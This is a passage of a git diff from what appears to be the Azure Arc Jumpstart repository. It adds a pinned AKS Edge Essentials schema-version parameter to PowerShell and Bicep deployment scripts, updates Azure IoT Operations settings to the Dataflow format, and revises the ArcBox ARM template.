[System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('stcontainerName', $stcontainerName, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('AKSEEPinnedSchemaVersion', $AKSEEPinnedSchemaVersion, [System.EnvironmentVariableTarget]::Machine) $ErrorActionPreference = 'Continue' diff --git a/azure_jumpstart_ag/artifacts/PowerShell/Modules/common.psm1 b/azure_jumpstart_ag/artifacts/PowerShell/Modules/common.psm1 index acb5364646..33e9792f0c 100644 --- a/azure_jumpstart_ag/artifacts/PowerShell/Modules/common.psm1 +++ b/azure_jumpstart_ag/artifacts/PowerShell/Modules/common.psm1 @@ -288,24 +288,26 @@ function Deploy-VirtualizationInfrastructure { } Write-Host "[$(Get-Date -Format t)] INFO: Fetching the latest two AKS Edge Essentials releases." -ForegroundColor Gray - $latestReleaseTag = (Invoke-WebRequest $websiteUrls["aksEEReleases"] | ConvertFrom-Json)[0].tag_name - $beforeLatestReleaseTag = (Invoke-WebRequest $websiteUrls["aksEEReleases"] | ConvertFrom-Json)[1].tag_name - $AKSEEReleasesTags = ($latestReleaseTag, $beforeLatestReleaseTag) $AKSEESchemaVersions = @() - - for ($i = 0; $i -lt $AKSEEReleasesTags.Count; $i++) { - $releaseTag = (Invoke-WebRequest $websiteUrls["aksEEReleases"] | ConvertFrom-Json)[$i].tag_name - $AKSEEReleaseDownloadUrl = "https://github.com/Azure/AKS-Edge/archive/refs/tags/$releaseTag.zip" - $output = Join-Path $AgToolsDir "$releaseTag.zip" - Invoke-WebRequest $AKSEEReleaseDownloadUrl -OutFile $output - Expand-Archive $output -DestinationPath $AgToolsDir -Force - $AKSEEReleaseConfigFilePath = "$AgToolsDir\AKS-Edge-$releaseTag\tools\aksedge-config.json" - $jsonContent = Get-Content -Raw -Path $AKSEEReleaseConfigFilePath | ConvertFrom-Json - $schemaVersion = $jsonContent.SchemaVersion - $AKSEESchemaVersions += $schemaVersion - # Clean up the downloaded release files - Remove-Item -Path $output -Force - Remove-Item -Path "$AgToolsDir\AKS-Edge-$releaseTag" -Force -Recurse + if($AKSEEPinnedSchemaVersion -eq "useLatest"){ + $latestReleaseTag = (Invoke-WebRequest $websiteUrls["aksEEReleases"] | ConvertFrom-Json)[0].tag_name + $beforeLatestReleaseTag = (Invoke-WebRequest $websiteUrls["aksEEReleases"] | ConvertFrom-Json)[1].tag_name + $AKSEEReleasesTags = ($latestReleaseTag, $beforeLatestReleaseTag) + + for ($i = 0; $i -lt $AKSEEReleasesTags.Count; $i++) { + $releaseTag = (Invoke-WebRequest $websiteUrls["aksEEReleases"] | ConvertFrom-Json)[$i].tag_name + $AKSEEReleaseDownloadUrl = "https://github.com/Azure/AKS-Edge/archive/refs/tags/$releaseTag.zip" + $output = Join-Path $AgToolsDir "$releaseTag.zip" + Invoke-WebRequest $AKSEEReleaseDownloadUrl -OutFile $output + Expand-Archive $output -DestinationPath $AgToolsDir -Force + $AKSEEReleaseConfigFilePath = "$AgToolsDir\AKS-Edge-$releaseTag\tools\aksedge-config.json" + $jsonContent = Get-Content -Raw -Path $AKSEEReleaseConfigFilePath | ConvertFrom-Json + $schemaVersion = $jsonContent.SchemaVersion + $AKSEESchemaVersions += $schemaVersion + # Clean up the downloaded release files + Remove-Item -Path $output -Force + Remove-Item -Path "$AgToolsDir\AKS-Edge-$releaseTag" -Force -Recurse + } } Invoke-Command -VMName $VMnames -Credential $Credentials -ScriptBlock { @@ -338,6 +340,7 @@ function Deploy-VirtualizationInfrastructure { $AgConfig = $using:AgConfig $AgToolsDir = $using:AgToolsDir $websiteUrls = $using:websiteUrls + $AKSEEPinnedSchemaVersion = $using:AKSEEPinnedSchemaVersion ########################################## # Deploying AKS Edge Essentials clusters @@ -391,12 +394,15 @@ function Deploy-VirtualizationInfrastructure { # Fetch schemaVersion release from the AgConfig file $AKSEESchemaVersionUseLatest = $AgConfig.SiteConfig[$Env:COMPUTERNAME].AKSEEReleaseUseLatest - if ($AKSEESchemaVersionUseLatest) { + if ($AKSEESchemaVersionUseLatest -and $AKSEEPinnedSchemaVersion -eq "useLatest") { $SchemaVersion = $using:AKSEESchemaVersions[0] } - else { + elseif (!$AKSEESchemaVersionUseLatest -and $AKSEEPinnedSchemaVersion -eq "useLatest") { $SchemaVersion = $using:AKSEESchemaVersions[1] } + elseif ($AKSEEPinnedSchemaVersion -ne "useLatest") { + $SchemaVersion = $AKSEEPinnedSchemaVersion + } $replacementParams = @{ "SchemaVersion-null" = $SchemaVersion diff --git a/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 b/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 index 01f79802a9..0466f07161 100644 --- a/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 +++ b/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 @@ -243,13 +243,13 @@ function Deploy-AIO { --only-show-errors do { - az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientId --sp-secret $spnClientSecret --sp-object-id $spnObjectId --mq-service-type loadBalancer --mq-insecure true --simulate-plc false --no-block --only-show-errors + az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientId --sp-secret $spnClientSecret --sp-object-id $spnObjectId --broker-service-type loadBalancer --add-insecure-listener true --simulate-plc false --no-block --only-show-errors if ($? -eq $false) { $aioStatus = "notDeployed" Write-Host "`n" Write-Host "[$(Get-Date -Format t)] Error: An error occured while deploying AIO on the cluster...Retrying" -ForegroundColor DarkRed Write-Host "`n" - az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientId --sp-secret $spnClientSecret --sp-object-id $spnObjectId --mq-service-type loadBalancer --mq-insecure true --simulate-plc false --no-block --only-show-errors + az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientId --sp-secret $spnClientSecret --sp-object-id $spnObjectId --broker-service-type loadBalancer --add-insecure-listener true --simulate-plc false --no-block --only-show-errors $retryCount++ } else { @@ -278,10 +278,10 @@ function Deploy-AIO { Write-Host "[$(Get-Date -Format t)] ERROR: AIO deployment failed. Exiting..." -ForegroundColor White -BackgroundColor Red exit 1 # Exit the script } - Write-Host "AIO deployed successfully on the $clusterName cluster" -ForegroundColor Green - Write-Host "`n" + #Write-Host "AIO deployed successfully on the $clusterName cluster" -ForegroundColor Green + #Write-Host "`n" Write-Host "[$(Get-Date -Format t)] INFO: Started Event Grid role assignment process" -ForegroundColor DarkGray - $extensionPrincipalId =(az k8s-extension list --cluster-name $arcClusterName --resource-group $resourceGroup --cluster-type "connectedClusters" --query "[?extensionType=='microsoft.iotoperations.mq']" --output json | ConvertFrom-Json)[0].identity.principalId + $extensionPrincipalId = (az k8s-extension list --cluster-name $arcClusterName --resource-group $resourceGroup --cluster-type "connectedClusters" --query "[?extensionType=='microsoft.iotoperations']" --output json | ConvertFrom-Json).identity.principalId $eventGridTopicId = (az eventgrid topic list --resource-group $resourceGroup --query "[0].id" -o tsv --only-show-errors) $eventGridNamespaceName = (az eventgrid namespace list --resource-group $resourceGroup --query "[0].name" -o tsv --only-show-errors) $eventGridNamespaceId = (az eventgrid namespace list --resource-group $resourceGroup --query "[0].id" -o tsv --only-show-errors) diff --git a/azure_jumpstart_ag/artifacts/settings/mq_cloudConnector.yml b/azure_jumpstart_ag/artifacts/settings/mq_cloudConnector.yml index 6ffbf23210..1b66e752b9 100644 --- a/azure_jumpstart_ag/artifacts/settings/mq_cloudConnector.yml +++ b/azure_jumpstart_ag/artifacts/settings/mq_cloudConnector.yml @@ -1,34 +1,40 @@ -apiVersion: mq.iotoperations.azure.com/v1beta1 -kind: MqttBridgeTopicMap +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: DataflowEndpoint +metadata: + name: eventgrid +spec: + endpointType: mqtt + authentication: + method: systemAssignedManagedIdentity + systemAssignedManagedIdentitySettings: + audience: https://eventgrid.azure.net + mqttSettings: + host: eventGridPlaceholder:8883 + tls: + mode: Enabled +--- +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: Dataflow metadata: name: my-topic-map - namespace: azure-iot-operations spec: - mqttBridgeConnectorRef: my-mqtt-bridge - routes: - - direction: local-to-remote - name: route-to-eventgrid - qos: 1 - source: "topic/#" + profileRef: my-dataflow-profile + operations: + - operationType: source + name: source1 + sourceSettings: + endpointRef: mq + dataSources: + - "topic/#" + - operationType: destination + name: destination1 + destinationSettings: + endpointRef: eventgrid + dataDestination: factory-gateway- --- -apiVersion: mq.iotoperations.azure.com/v1beta1 -kind: MqttBridgeConnector +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: DataflowProfile metadata: - name: my-mqtt-bridge - namespace: azure-iot-operations + name: my-dataflow-profile spec: - image: - repository: mcr.microsoft.com/azureiotoperations/mqttbridge - tag: 0.1.0-preview - pullPolicy: IfNotPresent - protocol: v5 - bridgeInstances: 1 - clientIdPrefix: clusterName - logLevel: debug - remoteBrokerConnection: - endpoint: eventGridPlaceholder:8883 - tls: - tlsEnabled: true - authentication: - systemAssignedManagedIdentity: - audience: https://eventgrid.azure.net + instanceCount: 1 \ No newline at end of file diff --git a/azure_jumpstart_ag/manufacturing/bicep/clientVm/clientVm.bicep b/azure_jumpstart_ag/manufacturing/bicep/clientVm/clientVm.bicep index ca491c51fc..fb4816bd52 100644 --- a/azure_jumpstart_ag/manufacturing/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_ag/manufacturing/bicep/clientVm/clientVm.bicep @@ -85,6 +85,9 @@ param customLocationRPOID string @description('The agora industry to be deployed') param industry string = 'retail' +@description('The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.') +param AKSEEPinnedSchemaVersion string = 'useLatest' + var encodedPassword = base64(windowsAdminPassword) var bastionName = 'Ag-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -199,7 +202,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-11-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/PowerShell/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${encodedPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnObjectId ${spnObjectId} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azureLocation ${location} -stagingStorageAccountName ${storageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -acrName ${acrName} -rdpPort ${rdpPort} -githubAccount ${githubAccount} -githubBranch ${githubBranch} -namingGuid ${namingGuid} -adxClusterName ${adxClusterName} -customLocationRPOID ${customLocationRPOID} -industry ${industry} -aioStorageAccountName ${aioStorageAccountName} -stcontainerName ${stcontainerName}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${encodedPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnObjectId ${spnObjectId} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azureLocation ${location} -stagingStorageAccountName ${storageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -acrName ${acrName} -rdpPort ${rdpPort} -githubAccount ${githubAccount} -githubBranch ${githubBranch} -namingGuid ${namingGuid} -adxClusterName ${adxClusterName} -customLocationRPOID ${customLocationRPOID} -industry ${industry} -aioStorageAccountName ${aioStorageAccountName} -stcontainerName ${stcontainerName} -AKSEEPinnedSchemaVersion ${AKSEEPinnedSchemaVersion}' } } } diff --git a/azure_jumpstart_ag/manufacturing/bicep/main.bicep b/azure_jumpstart_ag/manufacturing/bicep/main.bicep index f5ad1458fe..0945d98768 100644 --- a/azure_jumpstart_ag/manufacturing/bicep/main.bicep +++ b/azure_jumpstart_ag/manufacturing/bicep/main.bicep @@ -92,6 +92,11 @@ param rdpPort string = '3389' @description('The agora industry to be deployed') param industry string = 'manufacturing' +@description('''The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing. +To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'. +''') +param AKSEEPinnedSchemaVersion string = '1.13' + var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_ag/' module mgmtArtifactsAndPolicyDeployment 'mgmt/mgmtArtifacts.bicep' = { @@ -146,6 +151,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { industry: industry aioStorageAccountName: aioStorageAccountName stcontainerName: stcontainerName + AKSEEPinnedSchemaVersion: AKSEEPinnedSchemaVersion } } diff --git a/azure_jumpstart_ag/retail/bicep/clientVm/clientVm.bicep b/azure_jumpstart_ag/retail/bicep/clientVm/clientVm.bicep index 5892caa99f..a7bf32626b 100644 --- a/azure_jumpstart_ag/retail/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_ag/retail/bicep/clientVm/clientVm.bicep @@ -87,6 +87,9 @@ param namingGuid string @description('The agora industry to be deployed') param industry string = 'retail' +@description('The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.') +param AKSEEPinnedSchemaVersion string = 'useLatest' + var encodedPassword = base64(windowsAdminPassword) var bastionName = 'Ag-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -201,7 +204,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-11-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/PowerShell/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${encodedPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azureLocation ${location} -stagingStorageAccountName ${storageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -githubUser ${githubUser} -aksStagingClusterName ${aksStagingClusterName} -iotHubHostName ${iotHubHostName} -acrName ${acrName} -cosmosDBName ${cosmosDBName} -cosmosDBEndpoint ${cosmosDBEndpoint} -rdpPort ${rdpPort} -githubAccount ${githubAccount} -githubBranch ${githubBranch} -githubPAT ${githubPAT} -adxClusterName ${adxClusterName} -namingGuid ${namingGuid} -industry ${industry}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${encodedPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azureLocation ${location} -stagingStorageAccountName ${storageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -githubUser ${githubUser} -aksStagingClusterName ${aksStagingClusterName} -iotHubHostName ${iotHubHostName} -acrName ${acrName} -cosmosDBName ${cosmosDBName} -cosmosDBEndpoint ${cosmosDBEndpoint} -rdpPort ${rdpPort} -githubAccount ${githubAccount} -githubBranch ${githubBranch} -githubPAT ${githubPAT} -adxClusterName ${adxClusterName} -namingGuid ${namingGuid} -industry ${industry} -AKSEEPinnedSchemaVersion ${AKSEEPinnedSchemaVersion}' } } } diff --git a/azure_jumpstart_ag/retail/bicep/main.bicep b/azure_jumpstart_ag/retail/bicep/main.bicep index cd8a34fb62..0be0886226 100644 --- a/azure_jumpstart_ag/retail/bicep/main.bicep +++ b/azure_jumpstart_ag/retail/bicep/main.bicep @@ -83,6 +83,11 @@ param rdpPort string = '3389' @description('The agora industry to be deployed') param industry string = 'retail' +@description('''The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing. +To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'. +''') +param AKSEEPinnedSchemaVersion string = '1.13' + var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_ag/' module mgmtArtifactsAndPolicyDeployment 'mgmt/mgmtArtifacts.bicep' = { @@ -152,6 +157,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { adxClusterName: adxClusterName namingGuid: namingGuid industry: industry + AKSEEPinnedSchemaVersion: AKSEEPinnedSchemaVersion } } diff --git a/azure_jumpstart_ag/retail/scripts/postprovision.ps1 b/azure_jumpstart_ag/retail/scripts/postprovision.ps1 index 42cd280bc6..08698e13d0 100644 --- a/azure_jumpstart_ag/retail/scripts/postprovision.ps1 +++ b/azure_jumpstart_ag/retail/scripts/postprovision.ps1 @@ -7,7 +7,7 @@ if ($null -ne $env:AZURE_RESOURCE_GROUP){ # This section is for testing only $resourceGroup = "charris-js-ag-43-rg" $adxClusterName = "agadx2827a" - Get-AzSubscription -SubscriptionName "Azure Arc Jumpstart Subscription" | Select-AzSubscription + Get-AzSubscription -SubscriptionName "Arc Jumpstart Subscription" | Select-AzSubscription } ######################################################################## diff --git a/azure_jumpstart_arcbox/ARM/azuredeploy.json b/azure_jumpstart_arcbox/ARM/azuredeploy.json index 3a24dca7fb..bbb5d1c28f 100644 --- a/azure_jumpstart_arcbox/ARM/azuredeploy.json +++ b/azure_jumpstart_arcbox/ARM/azuredeploy.json @@ -1,29 +1,26 @@ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "2738768575994422412" + } + }, "parameters": { "sshRSAPublicKey": { "type": "securestring", + "defaultValue": "", "metadata": { - "description": "RSA public key used for securing SSH access to ArcBox resources" + "description": "RSA public key used for securing SSH access to ArcBox resources. This parameter is only needed when deploying the DataOps or DevOps flavors." } }, - "spnClientId": { + "tenantId": { "type": "string", + "defaultValue": "[tenant().tenantId]", "metadata": { - "description": "Azure service principal client id" - } - }, - "spnClientSecret": { - "type": "securestring", - "metadata": { - "description": "Azure service principal client secret" - } - }, - "spnTenantId": { - "type": "string", - "metadata": { - "description": "Azure AD tenant id for your service principal" + "description": "Your Microsoft Entra tenant Id" } }, "windowsAdminUsername": { @@ -40,6 +37,20 @@ "description": "Password for Windows account. Password must have 3 of the following: 1 lower case character, 1 upper case character, 1 number, and 1 special character. The value must be between 12 and 123 characters long" } }, + "vmAutologon": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Enable automatic logon into ArcBox Virtual Machine" + } + }, + "rdpPort": { + "type": "string", + "defaultValue": "3389", + "metadata": { + "description": "Override default RDP port using this parameter. Default is 3389. No changes will be made to the client VM." + } + }, "logAnalyticsWorkspaceName": { "type": "string", "metadata": { @@ -48,120 +59,473 @@ }, "flavor": { "type": "string", - "metadata": { - "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', 'DevOps', 'DataOps'" - }, + "defaultValue": "ITPro", "allowedValues": [ - "Full", "ITPro", "DevOps", "DataOps" ], - "defaultValue": "Full" + "metadata": { + "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', 'DevOps', 'DataOps'" + } }, "githubAccount": { "type": "string", + "defaultValue": "microsoft", "metadata": { "description": "Target GitHub account" - }, - "defaultValue": "microsoft" + } }, "githubBranch": { "type": "string", + "defaultValue": "main", "metadata": { "description": "Target GitHub branch" - }, - "defaultValue": "main" + } }, "deployBastion": { "type": "bool", + "defaultValue": false, "metadata": { "description": "Choice to deploy Bastion to connect to the client VM" - }, - "defaultValue": false + } + }, + "bastionSku": { + "type": "string", + "defaultValue": "Basic", + "allowedValues": [ + "Basic", + "Standard", + "Developer" + ], + "metadata": { + "description": "Bastion host Sku name. The Developer SKU is currently supported in a limited number of regions: https://learn.microsoft.com/azure/bastion/quickstart-developer-sku" + } }, "githubUser": { "type": "string", + "defaultValue": "microsoft", "metadata": { - "description": "User's github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps" - }, - "defaultValue": "microsoft" + "description": "User github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps" + } }, "addsDomainName": { "type": "string", + "defaultValue": "jumpstart.local", "metadata": { "description": "Active directory domain services domain name" - }, - "defaultValue": "jumpstart.local" + } }, - "guid":{ + "guid": { "type": "string", + "defaultValue": "[substring(newGuid(), 0, 4)]", "metadata": { "description": "Random GUID for cluster names" - }, - "defaultValue": "[substring(newGuid(),0,4)]" + } }, - "rdpPort": { + "location": { "type": "string", + "defaultValue": "[resourceGroup().location]", "metadata": { - "description": "Override default RDP port 3389 using this parameter. Default is 3389. No changes will be made to the client VM." - }, - "defaultValue": "3389" + "description": "Azure location to deploy all resources" + } }, - "sshPort": { + "customLocationRPOID": { "type": "string", + "defaultValue": "[newGuid()]", + "metadata": { + "description": "The custom location RPO ID. This parameter is only needed when deploying the DataOps flavor." + } + }, + "debugEnabled": { + "type": "bool", + "defaultValue": false, "metadata": { - "description": "Override default SSH port 22 using this parameter. Default is 22. No changes will be made to the client VM." + "description": "Use this parameter to enable or disable debug mode for the automation scripts on the client VM, effectively configuring PowerShell ErrorActionPreference to Break. Intended for use when troubleshooting automation scripts. Default is false." + } + }, + "resourceTags": { + "type": "object", + "defaultValue": { + "Solution": "jumpstart_arcbox" }, - "defaultValue": "22" + "metadata": { + "description": "Tags to assign for all ArcBox resources" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines and all Azure resources deployed. The maximum length for the naming prefix is 7 characters,example: `ArcBox-Win2k19`" + } + }, + "autoShutdownEnabled": { + "type": "bool", + "defaultValue": false + }, + "autoShutdownTime": { + "type": "string", + "defaultValue": "1800" + }, + "autoShutdownTimezone": { + "type": "string", + "defaultValue": "UTC" + }, + "autoShutdownEmailRecipient": { + "type": "string", + "defaultValue": "" } }, "variables": { - "templateBaseUrl": "[concat('https://raw.githubusercontent.com/', parameters('githubAccount'), '/azure_arc/', parameters('githubBranch'), '/azure_jumpstart_arcbox/')]", - "rancherTemplateUrl": "[uri(variables('templateBaseUrl'), 'ARM/kubernetes/ubuntuRancher.json')]", - "capiTemplateUrl": "[uri(variables('templateBaseUrl'), 'ARM/kubernetes/ubuntuCapi.json')]", - "clientVmTemplateUrl": "[uri(variables('templateBaseUrl'), 'ARM/clientVm/clientVm.json')]", - "mgmtTemplateUrl": "[uri(variables('templateBaseUrl'), 'ARM/mgmt/mgmtArtifacts.json')]", - "mgmtStagingStorageUrl": "[uri(variables('templateBaseUrl'), 'ARM/mgmt/mgmtStagingStorage.json')]", - "addsVMTemplateUrl": "[uri(variables('templateBaseUrl'), 'ARM/mgmt/addsVm.json')]", - "aksTemplateUrl": "[uri(variables('templateBaseUrl'), 'ARM/kubernetes/aks.json')]", - "capiArcDataClusterName": "[concat('ArcBox-CAPI-Data','-',parameters('guid'))]", - "k3sArcDataClusterName": "[concat('ArcBox-K3s','-',parameters('guid'))]", - "aksArcDataClusterName": "[concat('ArcBox-AKS-Data','-',parameters('guid'))]", - "aksDrArcDataClusterName": "[concat('ArcBox-AKS-DR-Data','-',parameters('guid'))]" + "templateBaseUrl": "[format('https://raw.githubusercontent.com/{0}/azure_arc/{1}/azure_jumpstart_arcbox/', parameters('githubAccount'), parameters('githubBranch'))]", + "aksArcDataClusterName": "[format('{0}-AKS-Data-{1}', parameters('namingPrefix'), parameters('guid'))]", + "aksDrArcDataClusterName": "[format('{0}-AKS-DR-Data-{1}', parameters('namingPrefix'), parameters('guid'))]", + "k3sArcDataClusterName": "[format('{0}-K3s-Data-{1}', parameters('namingPrefix'), parameters('guid'))]", + "k3sArcClusterName": "[format('{0}-K3s-{1}', parameters('namingPrefix'), parameters('guid'))]", + "k3sClusterNodesCount": 3 }, "resources": [ { + "condition": "[or(equals(parameters('flavor'), 'DevOps'), equals(parameters('flavor'), 'DataOps'))]", "type": "Microsoft.Resources/deployments", - "apiVersion": "2021-04-01", - "name": "ubuntuCAPIDeployment", - "dependsOn": [ - "stagingStorageAccountDeployment", - "mgmtArtifactsAndPolicyDeployment", - "updateVNetDNSServers" - ], - "condition": "[or(equals(parameters('flavor'),'Full'),equals(parameters('flavor'),'DevOps'),equals(parameters('flavor'),'DataOps'))]", + "apiVersion": "2022-09-01", + "name": "ubuntuRancherK3sDataSvcDeployment", "properties": { - "mode": "Incremental", - "templateLink": { - "uri": "[variables('capiTemplateUrl')]", - "contentVersion": "1.0.0.0" + "expressionEvaluationOptions": { + "scope": "inner" }, + "mode": "Incremental", "parameters": { "sshRSAPublicKey": { "value": "[parameters('sshRSAPublicKey')]" }, - "spnClientId": { - "value": "[parameters('spnClientId')]" + "stagingStorageAccountName": { + "value": "[toLower(reference(resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment'), '2022-09-01').outputs.storageAccountName.value)]" }, - "spnClientSecret": { - "value": "[parameters('spnClientSecret')]" + "logAnalyticsWorkspace": { + "value": "[parameters('logAnalyticsWorkspaceName')]" + }, + "templateBaseUrl": { + "value": "[variables('templateBaseUrl')]" + }, + "subnetId": { + "value": "[reference(resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment'), '2022-09-01').outputs.subnetId.value]" + }, + "azureLocation": { + "value": "[parameters('location')]" }, - "spnTenantId": { - "value": "[parameters('spnTenantId')]" + "vmName": { + "value": "[variables('k3sArcDataClusterName')]" + }, + "storageContainerName": { + "value": "[toLower(variables('k3sArcDataClusterName'))]" + }, + "flavor": { + "value": "[parameters('flavor')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "16381001317417135477" + } + }, + "parameters": { + "vmName": { + "type": "string", + "defaultValue": "[format('{0}-K3s', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of you Virtual Machine" + } + }, + "adminUsername": { + "type": "string", + "defaultValue": "arcdemo", + "metadata": { + "description": "Username for the Virtual Machine" + } + }, + "sshRSAPublicKey": { + "type": "securestring", + "defaultValue": "", + "metadata": { + "description": "RSA public key used for securing SSH access to ArcBox resources. This parameter is only needed when deploying the DataOps or DevOps flavors." + } + }, + "ubuntuOSVersion": { + "type": "string", + "defaultValue": "22_04-lts-gen2", + "allowedValues": [ + "22_04-lts-gen2" + ], + "metadata": { + "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version" + } + }, + "azureLocation": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Location for all resources." + } + }, + "vmSize": { + "type": "string", + "defaultValue": "Standard_B4ms", + "metadata": { + "description": "The size of the VM" + } + }, + "subnetId": { + "type": "string", + "metadata": { + "description": "Resource Id of the subnet in the virtual network" + } + }, + "stagingStorageAccountName": { + "type": "string", + "metadata": { + "description": "Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json" + } + }, + "logAnalyticsWorkspace": { + "type": "string", + "metadata": { + "description": "Name of the Log Analytics workspace used with cluster extensions" + } + }, + "templateBaseUrl": { + "type": "string", + "metadata": { + "description": "The base URL used for accessing artifacts and automation artifacts" + } + }, + "storageContainerName": { + "type": "string", + "metadata": { + "description": "Storage account container name for artifacts" + } + }, + "flavor": { + "type": "string", + "allowedValues": [ + "ITPro", + "DevOps", + "DataOps" + ], + "metadata": { + "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro'" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } + } + }, + "variables": { + "publicIpAddressName": "[format('{0}-PIP', parameters('vmName'))]", + "networkInterfaceName": "[format('{0}-NIC', parameters('vmName'))]", + "osDiskType": "Premium_LRS", + "k3sControlPlane": "true", + "diskSize": "[if(equals(parameters('flavor'), 'DataOps'), 512, 64)]", + "numberOfIPAddresses": "[if(equals(parameters('flavor'), 'DataOps'), 8, 5)]" + }, + "resources": [ + { + "copy": { + "name": "publicIpAddresses", + "count": "[length(range(1, variables('numberOfIPAddresses')))]" + }, + "type": "Microsoft.Network/publicIPAddresses", + "apiVersion": "2022-01-01", + "name": "[format('{0}{1}', variables('publicIpAddressName'), range(1, variables('numberOfIPAddresses'))[copyIndex()])]", + "location": "[parameters('azureLocation')]", + "properties": { + "publicIPAllocationMethod": "Static", + "publicIPAddressVersion": "IPv4", + "idleTimeoutInMinutes": 4 + }, + "sku": { + "name": "Basic" + } + }, + { + "type": "Microsoft.Network/networkInterfaces", + "apiVersion": "2022-01-01", + "name": "[variables('networkInterfaceName')]", + "location": "[parameters('azureLocation')]", + "properties": { + "copy": [ + { + "name": "ipConfigurations", + "count": "[length(range(1, variables('numberOfIPAddresses')))]", + "input": { + "name": "[format('ipconfig{0}', range(1, variables('numberOfIPAddresses'))[copyIndex('ipConfigurations')])]", + "properties": { + "subnet": { + "id": "[parameters('subnetId')]" + }, + "privateIPAllocationMethod": "Dynamic", + "publicIPAddress": { + "id": "[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIpAddressName'), range(1, 